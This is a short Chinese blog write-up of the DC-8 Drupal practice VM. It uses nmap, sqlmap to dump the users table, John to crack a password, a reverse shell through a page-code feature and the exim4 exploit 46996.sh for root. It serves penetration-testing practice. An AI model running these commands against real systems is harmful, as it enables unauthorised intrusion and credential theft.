dc-8(drupal)

靶机下载地址:dc-8

找到靶机

nmap -sV 192.168.6.0/24

查看端口

疑似有注入点

image

开始尝试

python sqlmap.py -u "http://192.168.6.135/?nid=*" --dbs
查库

python sqlmap.py -u "http://192.168.6.135/?nid=*" -D "d7db" --tables
查表

python sqlmap.py -u "" -D "d7db" -T "users" --columns
查字段

python sqlmap.py -u "" -D "d7db" -T "users" -C "uid,name,pass" --dump
查内容

image

查出来的是经过md5加密的我们可以利用kali的john来破解一下

vim md5.txt
将密文写入文件
john md5.txt
开始破解

最终结果是turtle

image

扫目录扫出来了登陆页面

破解密码后直接登录查看
经过不断的测试我们发现可插入页面代码的功能

image

我们直接反弹shell

之后就是简单的提权

find / -perm -u=s -type f 2>/dev/null

image

发现存在exim4提权
查看版本exim4 --version

image

先查看本地漏洞库

searchsploit exim

image

查看46996.sh
使用方法就是下载到靶机上直接运行即可

image

image

image

image
image
image

posted @ 2024-09-21 21:36  DGhh  阅读(13)  评论(0)  编辑  收藏  举报